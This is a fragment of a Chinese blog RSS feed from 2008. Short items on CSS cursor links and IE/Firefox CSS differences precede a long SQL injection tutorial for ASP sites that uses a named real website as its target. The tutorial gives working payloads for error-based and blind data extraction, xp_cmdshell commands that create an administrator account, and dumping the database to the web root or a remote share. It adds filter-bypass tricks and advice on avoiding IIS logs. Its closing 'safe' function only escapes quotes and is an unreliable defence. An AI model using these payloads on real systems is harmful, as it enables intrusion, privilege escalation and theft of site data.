size="4">{cursor:hand|crosshair|text|wait|move|help|e-resize|nw-resize|w-resize|s-resize|se-resize|sw-resize}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font style="BACKGROUND-COLOR: rgb(0,255,0)" face="黑体,sans-serif" color="#ff0000" size="4">教程地址为</font></h6>        <h6 align="left"><a href="http://www.a100.com.cn/css/00.htm"><font face="黑体,sans-serif" size="4">http://www.a100.com.cn/css/00.htm</font></a></h6>        <h6 align="left"><a href="http://www.a100.com.cn/css/01.htm"><font face="黑体,sans-serif" size="4">http://www.a100.com.cn/css/01.htm</font></a></h6>        <h6 align="left"><font face="黑体,sans-serif" size="4">......</font></h6>        <h6 align="left"><font face="黑体"><a href="http://www.a100.com.cn/css/10.htm"><font face="黑体,sans-serif" size="4">http://www.a100.com.cn/css/10.htm</font></a></font></h6>        <h6 align="left"><font face="黑体,sans-serif" size="4">依此类推</font></h6>        <h6 align="left"><font face="黑体,sans-serif"><font size="4">从地址最后面的<font color="#ff0000">00.HTM------&gt;10.HTM</font></font></font></h6>        <h6 align="left"><font face="黑体,sans-serif" size="4">为教程具体地址!</font></h6>    </ul></ul>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/843.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=843</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=843&amp;key=eb886d98</trackback:ping></item><item><title>IE Firefox css 差别 </title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/842.html</link><pubDate>Sun, 03 Feb 2008 19:44:53 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/842.html</guid><description><![CDATA[1、单位问题<br />问题：任何距离的数值ie可以不加单位，ff必须要求写单位（0除外） <br />解决：写全单位如padding:0px;<br /><br />2、水平居中<br />问题：div里的内容，ie默认为center，而ff默认left <br />解决：mairgin:0px auto; <br /><br />3、高度问题<br />问题：如果设置了一个DIV的高度，当DIV里实际内容大于所设高度，ie会自动拉伸以适应DIV容器大小，ff会固定DIV的告诉，超过部分超出DIV底线以外，出现和下面的内容重叠的现象<br />解决：控制恰当的高度，或者不写，让浏览器自动调节高度，或者设置overflow:hidden;<br /><br />4、clear:both;<br />问题：如果上面用float控制了n列DIV，下面ie会自动检测自动排列，ff则可能很不老实，到处乱动<br />解决：float结束后的下一个标签加clear:both;以结束float的控制<br /><br />5、最大/小宽度问题<br />问题：min-width,max-width只是ff的命令，如何让ie实现同样的效果<br />解决：ie不认识min-和max-，实际ie认为min-width、max-width和width效果一样，可以用下面方法解决<br />#cctext{<br />min-width: 700px; <br />max-width: 1000px;<br />width:expression(document.body.clientWidth&lt;700 ? &quot;700px&quot; : document.body.clientWidth&gt;1000 ? &quot;1000px&quot; : &quot;auto&quot;); <br />}<br /><br />6、!important支持<br />问题：ff支持ie不支持<br />解决：无。ie会忽略。<br /><br />7、游标状态<br />问题：cursor:hand;仅ie支持，显示手指状态<br />解决：使用cursor:pointer;ie和ff都支持<br /><br />8、实际像素<br />IE/Opera：对象的实际宽度 = (margin-left) + width + (margin-right)<br />Firefox/Mozilla：对象的实际宽度= (margin-left) + (border-left-width) + (padding- left) + width + (padding-right) + (border-right-width) + (margin-right)<br />所以排列好及列的表格时ie和ff显示宽度稍有区别<br /><br />]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/842.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=842</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=842&amp;key=fdab642c</trackback:ping></item><item><title>SQL注入天书—ASP注入漏洞全接触</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/840.html</link><pubDate>Sun, 03 Feb 2008 18:53:31 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/840.html</guid><description><![CDATA[随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。<br /><br />SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。<br /><br />但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与&ldquo;菜鸟&rdquo;的根本区别。<br /><br />根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...<br /><br />入 门 篇<br /><br />如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。<br /><br />第一节、SQL注入原理<br /><br />以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。<br /><br />在网站首页上，有名为&ldquo;IE不能打开新窗口的多种解决方法&rdquo;的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号'，服务器会返回下面的错误提示：<br /><br />Microsoft JET Database Engine 错误 '80040e14' <br /><br />字符串的语法错误 在查询表达式 'ID=49'' 中。 <br /><br />/showdetail.asp，行8<br /><br />从这个错误提示我们能看出下面几点：<br /><br />1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。<br /><br />2.程序没有判断客户端提交的数据是否符合程序要求。<br /><br />3.该SQL语句所查询的表中有一名为ID的字段。<br /><br />从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。<br /><br />第二节、判断能否进行SQL注入<br /><br />看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？<br /><br />其实，这并不是最好的方法，为什么呢？<br /><br />首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。<br /><br />其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的<br /><br />那么，什么样的测试方法才是比较准确呢？答案如下：<br />① http://www.19cn.com/showdetail.asp?id=49<br /><br />② http://www.19cn.com/showdetail.asp?id=49 and 1=1<br /><br />③ http://www.19cn.com/showdetail.asp?id=49 and 1=2<br /><br />这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：<br /><br />可以注入的表现：<br /><br />① 正常显示（这是必然的，不然就是程序有错误了）<br /><br />② 正常显示，内容基本与①相同<br /><br />③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）<br /><br />不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。<br /><br />　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&ldquo;SQL注入一般步骤&rdquo;再做分析。<br /><br />第三节、判断数据库类型及注入方法<br /><br />不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。<br /><br />怎么让程序告诉你它使用的什么数据库呢？来看看：<br /><br />SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：<br /><br />http://www.19cn.com/showdetail.asp?id=49 and user&gt;0<br /><br />这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 &rdquo;abc&rdquo; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。<br /><br />顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&rdquo;dbo&rdquo;转换成int的列发生错误，而不是&rdquo;sa&rdquo;。 <br /><br />如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示&ldquo;没有权限&rdquo;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。<br /><br />在确认可以注入的情况下，使用下面的语句：<br /><br />http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)&gt;0<br /><br />http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)&gt;0<br /><br />如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。<br /><br />如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。<br /><br />进 阶 篇<br /><br />在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：<br /><br />第一节、ＳＱＬ注入的一般步骤<br /><br />首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。<br /><br />其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：<br /><br />(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：<br />Select * from 表名 where 字段=49<br />注入的参数为ID=49 And [查询条件]，即是生成语句：<br />Select * from 表名 where 字段=49 And [查询条件]<br /><br />(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：<br />Select * from 表名 where 字段=&rsquo;连续剧&rsquo; <br />注入的参数为Class=连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo; ，即是生成语句：<br />Select * from 表名 where 字段=&rsquo;连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo;&rsquo;<br /><br />(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：<br />Select * from 表名 where 字段like &rsquo;%关键字%&rsquo; <br />注入的参数为keyword=&rsquo; and [查询条件] and &lsquo;%25&rsquo;=&rsquo;， 即是生成语句：<br />Select * from 表名 where字段like &rsquo;%&rsquo; and [查询条件] and &lsquo;%&rsquo;=&rsquo;%&rsquo;<br /><br />接着，将查询条件替换成SQL语句，猜解表名，例如：<br /><br />ID=49 And (Select Count(*) from Admin)&gt;=0<br /><br />如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。<br /><br />表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。<br /><br />有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。<br /><br />有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。<br /><br />最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。<br /><br />我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：<br /><br />http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)&gt;0<br /><br />先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8<br /><br />　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：<br /><br />id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0<br /><br />同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。<br /><br />第二节、ＳＱＬ注入常用函数<br /><br />有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。<br /><br />Access：asc(字符) SQLServer：unicode(字符)<br />作用：返回某字符的ASCII码<br /><br />Access：chr(数字) SQLServer：nchar(数字)<br />作用：与asc相反，根据ASCII码返回字符<br /><br />Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)<br />作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串<br /><br />Access：abc(数字) SQLServer：abc (数字)<br />作用：返回数字的绝对值（在猜解汉字的时候会用到）<br /><br />Access：A between B And C SQLServer：A between B And C<br />作用：判断A是否界于B与C之间<br /><br />第三节、中文处理方法<br /><br />在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&ldquo;中文恐惧症&rdquo;很快可以克服。先说一点常识：<br /><br />Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。<br /><br />SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。<br /><br />了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。<br /><br />高 级 篇<br /><br />看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。<br /><br />第一节、利用系统表注入SQLServer数据库<br /><br />SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：<br /><br />① http://Site/url.asp?id=1; exec master..xp_cmdshell &quot;net user name password /add&quot;--<br /><br />　　分号; 在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：<br /><br />② http://Site/url.asp?id=1; exec master..xp_cmdshell &quot;net localgroup administrators name /add&quot;--<br /><br />　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。<br /><br />　　③ http://Site/url.asp?id=1 and db_name()&gt;0<br /><br />前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。<br /><br />④ http://Site/url.asp?id=1; backup database 数据库名 to disk=&rsquo;c:\inetpub\wwwroot\1.db&rsquo;; --<br /><br />这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。<br /><br />　　⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype='U' and status&gt;0)&gt;0<br /><br />前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。<br /><br />⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)&gt;0<br /><br />从⑤拿到表名后，用object_id(&lsquo;表名&rsquo;)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br /><br />　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。<br /><br />第二节、绕过程序限制继续注入<br /><br />在入门篇提到，有很多人喜欢用'号测试注入漏洞，所以也有很多人用过滤'号的方法来&ldquo;防止&rdquo;注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。<br /><br />在&ldquo;SQL注入的一般步骤&rdquo;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&ldquo;利用系统表注入SQLServer数据库&rdquo;中，有些语句包含有'号，我们举个例子来看看怎么改造这些语句：<br /><br />简单的如where xtype='U'，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name='用户'，可以用where name=nchar(29992)+nchar(25143)代替。<br /><br />第三节、经验小结<br /><br />1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。<br /><br />2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。<br /><br />3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。<br /><br />4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。<br /><br />5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。<br /><br />防 范 方 法<br /><br />SQL注入漏洞可谓是&ldquo;千里之堤，溃于蚁穴&rdquo;，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：<br /><br />Function SafeRequest(ParaName,ParaType)<br />'--- 传入参数 ---<br />'ParaName:参数名称-字符型<br />'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)<br /><br />Dim Paravalue<br />Paravalue=Request(ParaName)<br />If ParaType=1 then<br />If not isNumeric(Paravalue) then<br />Response.write &quot;参数&quot; &amp; ParaName &amp; &quot;必须为数字型！&quot;<br />Response.end<br />End if<br />Else<br />Paravalue=replace(Paravalue,&quot;'&quot;,&quot;''&quot;)<br />End if<br />SafeRequest=Paravalue<br />End function<br /><br />文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/840.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=840</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=840&amp;key=8ef1151e</trackback:ping></item></channel></rss>
